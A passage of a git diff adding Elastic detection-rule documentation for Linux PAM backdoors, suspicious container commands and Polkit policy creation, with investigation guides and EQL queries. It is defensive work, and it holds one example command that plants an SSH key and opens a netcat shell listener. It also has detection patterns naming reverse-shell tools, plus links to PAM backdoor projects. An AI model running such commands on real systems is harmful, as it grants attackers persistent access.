"/var/lib/dpkg/tmp.ci/*" to avoid alerts during legitimate system updates. +- Custom scripts or automation tools might generate PAM modules in user-specific directories. Identify and exclude these specific scripts or paths if they are known to be safe and necessary for operations. +- Temporary backup or recovery operations might involve copying PAM modules to non-standard locations. Exclude paths used for backups, such as "/backup/*" or "/recovery/*", if these operations are verified as secure. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Conduct a thorough review of the unusual directory where the PAM file was created to identify any other suspicious files or activities, and remove any malicious files found. +- Analyze the process that created the PAM file to determine if it was initiated by a legitimate user or process, and terminate any malicious processes. +- Reset credentials for any accounts that may have been compromised, focusing on those with elevated privileges or access to sensitive systems. +- Restore the affected system from a known good backup to ensure that no malicious modifications persist. +- Implement additional monitoring on the affected system and similar systems to detect any further attempts to create PAM files in unusual directories. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and file.name like "pam_*.so" and not file.path like ( + "/lib/security/*", + "/lib64/security/*", + "/lib/x86_64-linux-gnu/security/*", + "/usr/lib/security/*", + "/usr/lib64/security/*", + "/usr/lib/x86_64-linux-gnu/security/*" +) and not ( + process.name in ("dockerd", "containerd", "steam", "buildkitd", "unsquashfs", "pacman", "executor") or + file.path like ( + "/build/rootImage/nix/store/*", "/home/*/.local/share/containers/*", "/nix/store/*", "/var/lib/containerd/*", + "/var/snap/*", "/usr/share/nix/nix/store/*", "/tmp/cura/squashfs-root/*", "/home/*/docker/*", "/tmp/containerd*", + "/var/lib/rancher/*/agent/containerd/*", "/var/lib/lxc/*", "/var/lib/containers/storage/*", "/var/lib/checkpoint*", + "/var/lib/docker/overlay2/*", "/srv/docker/*", "/podman/storage/*", "/opt/jail/driver-jail*", "/build/tmp/work/iot*", + "/tmp/containers-root/*", "/cce-14/*", "/cce-usr/*", "/var/tmp/portage/*", "/media/*", "/data/var/lib/docker/overlay2/*", + "/home/*/.cache/bazel/*", "/home/*/.cache/umu/*/SteamLinuxRuntime*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pluggable-authentication-module-pam-source-download.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pluggable-authentication-module-pam-source-download.asciidoc new file mode 100644 index 0000000000..2a70112bd4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pluggable-authentication-module-pam-source-download.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-pluggable-authentication-module-pam-source-download]] +=== Pluggable Authentication Module (PAM) Source Download + +This rule detects the usage of "curl" or "wget" to download the source code of a Pluggable Authentication Module (PAM) shared object file. Attackers may download the source code of a PAM shared object file to create a backdoor in the authentication process. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/zephrax/linux-pam-backdoor +* https://github.com/eurialo/pambd +* http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html +* https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Pluggable Authentication Module (PAM) Source Download* + + +Pluggable Authentication Modules (PAM) are integral to Linux systems, managing authentication tasks. Adversaries may exploit PAM by downloading its source code to insert backdoors, compromising authentication. The detection rule identifies suspicious downloads of PAM source files using tools like `curl` or `wget`, flagging potential threats to system integrity and user credentials. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of `curl` or `wget` for downloading the PAM source file, focusing on the `process.name` and `process.args` fields to verify the URL pattern matches the suspicious download. +- Check the user account associated with the process execution to determine if the activity was initiated by a legitimate user or a potential adversary. +- Investigate the system's command history and logs to identify any preceding or subsequent commands that might indicate further malicious activity or attempts to compile and install the downloaded PAM source. +- Examine network logs for any unusual outbound connections or data exfiltration attempts following the download, which could suggest further compromise. +- Assess the integrity of existing PAM modules on the system to ensure no unauthorized modifications or backdoors have been introduced. +- Correlate this event with other alerts or anomalies on the same host to identify patterns or a broader attack campaign. + + +*False positive analysis* + + +- Legitimate system administrators or developers may download PAM source files for testing or development purposes. To handle this, create exceptions for known user accounts or IP addresses that regularly perform such downloads. +- Automated scripts or configuration management tools might use `curl` or `wget` to download PAM source files as part of routine updates or system setups. Identify these scripts and whitelist their activities to prevent false positives. +- Security researchers or auditors may download PAM source files to conduct security assessments. Establish a process to verify and approve these activities, allowing exceptions for recognized research teams or individuals. +- Educational institutions or training environments might download PAM source files for instructional purposes. Implement a policy to exclude these environments from triggering alerts, ensuring they are recognized as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active `curl` or `wget` processes identified in the alert to stop the download of potentially malicious PAM source files. +- Conduct a thorough review of PAM configuration files and shared object files on the affected system to identify and remove any unauthorized modifications or backdoors. +- Restore the affected system from a known good backup if unauthorized changes to PAM files are detected and cannot be easily reversed. +- Implement stricter access controls and monitoring on systems handling PAM configurations to prevent unauthorized downloads or modifications in the future. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. +- Update detection mechanisms to monitor for similar download attempts and unauthorized modifications to critical authentication components. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "ProcessRollup2") and +process.name in ("curl", "wget") and +process.args like~ "https://github.com/linux-pam/linux-pam/releases/download/v*/Linux-PAM-*.tar.xz" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pluggable-authentication-module-pam-version-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pluggable-authentication-module-pam-version-discovery.asciidoc new file mode 100644 index 0000000000..e06369dba8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pluggable-authentication-module-pam-version-discovery.asciidoc @@ -0,0 +1,202 @@ +[[prebuilt-rule-8-19-34-pluggable-authentication-module-pam-version-discovery]] +=== Pluggable Authentication Module (PAM) Version Discovery + +This rule detects PAM version discovery activity on Linux systems. PAM version discovery can be an indication of an attacker attempting to backdoor the authentication process through malicious PAM modules. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.group-ib.com/blog/pluggable-authentication-module/ +* https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Pluggable Authentication Module (PAM) Version Discovery* + + +Pluggable Authentication Modules (PAM) provide a flexible mechanism for authenticating users on Linux systems. Adversaries may exploit PAM by discovering its version to identify vulnerabilities or backdoor the authentication process with malicious modules. The detection rule identifies suspicious processes querying PAM-related packages, indicating potential reconnaissance or tampering attempts, thus alerting security teams to possible threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of suspicious activity, focusing on processes with names "dpkg", "dpkg-query", or "rpm" and their arguments "libpam-modules" or "pam". +- Check the user account associated with the process to determine if it is a legitimate user or potentially compromised. +- Investigate the parent process to understand the origin of the command execution and assess if it aligns with normal user behavior. +- Analyze recent login attempts and authentication logs to identify any unusual patterns or failed attempts that may indicate unauthorized access attempts. +- Correlate this activity with other alerts or logs from the same host to identify if there are additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Routine system updates or package management activities may trigger the rule when legitimate processes like dpkg or rpm query PAM-related packages. To manage this, consider creating exceptions for known maintenance windows or trusted administrative scripts. +- Automated configuration management tools, such as Ansible or Puppet, might execute commands that match the rule's criteria. Identify these tools and exclude their processes from triggering alerts by specifying their execution context. +- Security compliance checks or vulnerability assessments often involve querying system packages, including PAM. If these are regularly scheduled and verified, whitelist the associated processes to prevent unnecessary alerts. +- Developers or system administrators testing PAM configurations might inadvertently trigger the rule. Establish a protocol for notifying the security team of such activities in advance, allowing for temporary exceptions during testing periods. +- Custom scripts used for system monitoring or auditing may include commands that match the rule. Review these scripts and, if deemed safe, add them to an exclusion list to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those involving 'dpkg', 'dpkg-query', or 'rpm' with arguments related to PAM. +- Conduct a thorough review of PAM configuration files and modules on the affected system to identify and remove any unauthorized or malicious modifications. +- Restore any compromised PAM modules from a known good backup to ensure the integrity of the authentication process. +- Monitor for any additional suspicious activity on the affected system and related systems, focusing on unusual authentication attempts or process executions. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for PAM-related activities across the network to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2") and ?process.parent.name != null and + ( + (process.name in ("dpkg", "dpkg-query") and process.args == "libpam-modules") or + (process.name == "rpm" and process.args == "pam") + ) and +not ( + ?process.parent.name in ("dcservice", "inspectorssmplugin") or + ?process.working_directory in ("/var/ossec", "/opt/msp-agent") or + ?process.entry_leader.executable in("/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent", "/usr/sbin/ScanAssistant") or + ?process.parent.executable in ( + "/opt/CyberCNSAgent/cybercnsagent_linux", "/usr/local/manageengine/uems_agent/bin/dcpatchscan", + "/usr/local/manageengine/uems_agent/bin/dcconfig", "/usr/share/vicarius/topiad", + "/etc/rc.d/init.d/sshd-chroot", "/var/ossec/bin/wazuh-modulesd", + "/usr/lib/venv-salt-minion/bin/python.original" + ) or + ( + process.executable == "/usr/bin/rpm" and + ?process.parent.name == "systemd" and + ?process.env_vars == "LD_LIBRARY_PATH=/usr/lib/venv-salt-minion/lib" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pod-or-container-creation-with-suspicious-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pod-or-container-creation-with-suspicious-command-line.asciidoc new file mode 100644 index 0000000000..644218d2f7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pod-or-container-creation-with-suspicious-command-line.asciidoc @@ -0,0 +1,224 @@ +[[prebuilt-rule-8-19-34-pod-or-container-creation-with-suspicious-command-line]] +=== Pod or Container Creation with Suspicious Command-Line + +This rule detects the creation of pods or containers that execute suspicious commands often associated with persistence or privilege escalation techniques. Attackers may use container orchestration tools like kubectl or container runtimes like docker to create pods or containers that run shell commands with arguments that indicate attempts to establish persistence (e.g., modifying startup scripts, creating backdoors). + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Pod or Container Creation with Suspicious Command-Line* + + +This rule flags pods or containers started via orchestration or runtime tools that immediately execute a shell with commands linked to persistence, privilege changes, or covert I/O (cron, rc.local, sudoers, .ssh, base64, netcat/socat, /tmp). This matters because attackers often spin short‑lived workloads to modify startup paths or drop backdoors. Example: kubectl run --restart=Never -- sh -c 'echo ssh-rsa AAAA... >> /root/.ssh/authorized_keys && nc -lvp 4444 -e /bin/sh'. + + +*Possible investigation steps* + + +- Pivot to Kubernetes audit logs to identify the actor (user or service account), namespace, source IP/workstation, and RBAC context that launched the workload, and validate whether this aligns with approved admin activity. +- Pull the pod/container spec and image metadata to quickly assess risk indicators like unapproved registry/image, privileged mode, hostNetwork/hostPID, and hostPath or sensitive volume mounts that could mutate the node. +- Parse the executed command to determine whether it attempts persistence or backdoor setup (editing cron/rc.local, sudoers or authorized_keys, base64 file drops, starting netcat/socat listeners), and verify those changes on the container or node. +- Correlate runtime and network telemetry for the workload to detect outbound connections or listening ports indicative of reverse shells, and identify destination endpoints and nodes involved. +- Trace the launcher context by reviewing kubectl client host artifacts (shell history, kubeconfig, IAM/MFA tokens) or CI/CD logs, and check for recent anomalous commits or pipeline runs that could have triggered it. + + +*False positive analysis* + + +- Administrators performing network troubleshooting or node diagnostics may start ephemeral pods via kubectl run --restart=Never or ad hoc containers with docker/nerdctl that launch sh and use nc/socat/telnet, read /proc, or write to /tmp. +- Engineers may pass configs or test scripts into a shell using base64/xxd and touch cron, rc.local, /etc/ssh, ~/.ssh, or /etc/profile during validation or break-fix work, producing commands that resemble persistence behavior. + + +*Response and remediation* + + +- Delete the offending pod/container, revoke the kubeconfig or runtime credentials used to launch it, and quarantine the image and namespace, cordoning the node if privileged, hostNetwork/hostPID, or hostPath were present. +- Kill any spawned shells or listeners (e.g., sh -c 'nc -lvp ...', socat, telnet) on affected nodes, remove unauthorized firewall/iptables rules, and apply temporary deny-all egress NetworkPolicies to cut C2. +- Eradicate persistence by restoring clean versions of /etc/cron*, /etc/rc.local, /etc/profile, /etc/sudoers, /etc/ssh/* and deleting unauthorized keys or scripts under /root/.ssh, ~/.ssh, /tmp, /dev/shm, /var/tmp, and hostPath-mounted directories. +- Rebuild compromised nodes or redeploy workloads with known-good images, rotate cluster secrets and SSH keys, and validate baseline integrity with file hashes and admission scans before returning to service. +- Escalate to incident response if the actor is unverified or commands touched /etc/shadow or /etc/sudoers, used privileged containers or hostPath to access the host, or opened external connections or listening ports on the node. +- Harden by enforcing admission controls to deny pods that start /bin/sh or /bin/bash as PID 1, block privileged/hostNetwork/hostPID/hostPath, apply per-namespace egress policies, and restrict RBAC so only approved admins can run kubectl run --restart=Never or docker/nerdctl run. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and ( + (process.name == "kubectl" and process.args == "run" and process.args == "--restart=Never" and process.args == "--") or + (process.name in ("docker", "nerdctl", "ctl") and process.args == "run") +) and +process.args in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +process.command_line like~ ( + "*atd*", "*cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*", "*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", + "*/etc/profile*", "*/etc/ssh*", "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*autostart*", "*xxd *", "*/etc/shadow*", "*./.*", + "*import*pty*spawn*", "*import*subprocess*call*", "*TCPSocket.new*", "*TCPSocket.open*", "*io.popen*", "*os.execute*", "*fsockopen*", + "*disown*", "* ncat *", "* nc *", "* netcat *", "* nc.traditional *", "*socat*", "*telnet*", "*/tmp/*", "*/dev/shm/*", "*/var/tmp/*", + "*/boot/*", "*/sys/*", "*/lost+found/*", "*/media/*", "*/proc/*", "*/var/backups/*", "*/var/log/*", "*/var/mail/*", "*/var/spool/*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: At +** ID: T1053.002 +** Reference URL: https://attack.mitre.org/techniques/T1053/002/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: XDG Autostart Entries +** ID: T1547.013 +** Reference URL: https://attack.mitre.org/techniques/T1547/013/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-polkit-policy-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-polkit-policy-creation.asciidoc new file mode 100644 index 0000000000..dcc31b9db4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-polkit-policy-creation.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-polkit-policy-creation]] +=== Polkit Policy Creation + +This rule monitors for the creation of Polkit policy files on Linux systems. Polkit policy files are used to define the permissions for system-wide services and applications. The creation of new Polkit policy files may indicate an attempt to modify the authentication process, which could be used for persistence by an adversary. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Polkit Policy Creation* + + +Polkit, or PolicyKit, is a system service in Linux environments that manages system-wide privileges, allowing non-privileged processes to communicate with privileged ones. Adversaries may exploit Polkit by creating or modifying policy files to gain unauthorized access or maintain persistence. The detection rule monitors the creation of these files in critical directories, excluding known legitimate processes, to identify potential malicious activity. + + +*Possible investigation steps* + + +- Review the file path and extension to confirm if the created file is located in one of the critical directories specified in the query, such as /etc/polkit-1/rules.d/ or /usr/share/polkit-1/actions/. +- Identify the process executable responsible for the file creation and verify if it is listed in the exclusion list of known legitimate processes. If not, this may warrant further investigation. +- Check the timestamp of the file creation event to determine if it coincides with any known maintenance or update activities, which could explain the file creation. +- Investigate the user account associated with the process that created the file to determine if it has the necessary privileges and if the activity aligns with the user's typical behavior. +- Examine any recent changes or updates to the system that might have triggered the creation of the Polkit policy file, such as software installations or configuration changes. +- Look for any related alerts or logs that might indicate a broader pattern of suspicious activity, such as unauthorized access attempts or other policy modifications. + + +*False positive analysis* + + +- System package managers like dpkg, rpm, and yum may create or modify Polkit policy files during legitimate software installations or updates. To handle these, ensure that the rule excludes processes associated with these package managers as specified in the rule's exception list. +- Container management tools such as Docker and Podman might also trigger false positives when managing containerized applications. Users should verify that these executables are included in the exclusion list to prevent unnecessary alerts. +- Automation tools like Puppet and Chef can modify policy files as part of their configuration management tasks. Confirm that these processes are part of the exclusion criteria to avoid false positives. +- Snap package installations and updates can lead to the creation of policy files. Ensure that paths related to Snap are covered in the exclusion patterns to minimize false alerts. +- Virtualization software such as VirtualBox may interact with Polkit policy files. Users should check that relevant paths and executables are included in the exceptions to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified as creating or modifying Polkit policy files, especially those not listed in the known legitimate processes. +- Review and restore the integrity of the Polkit policy files by comparing them against a known good baseline or backup to ensure no unauthorized changes persist. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Implement additional monitoring on the affected system and similar systems to detect any further attempts to create or modify Polkit policy files. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Review and update access controls and permissions related to Polkit policy files to ensure only authorized processes and users can create or modify these files, reducing the risk of future exploitation. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and +file.extension in ("rules", "pkla", "policy") and file.path like~ ( + + // Rule files + "/etc/polkit-1/rules.d/*", "/usr/share/polkit-1/rules.d/*", + + // pkla files + "/etc/polkit-1/localauthority/*", "/var/lib/polkit-1/localauthority/*", + + // Action files + "/usr/share/polkit-1/actions/*", + + // Misc. legacy paths + "/lib/polkit-1/rules.d/*", "/lib64/polkit-1/rules.d/*", "/var/lib/polkit-1/rules.d/*" +) and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", 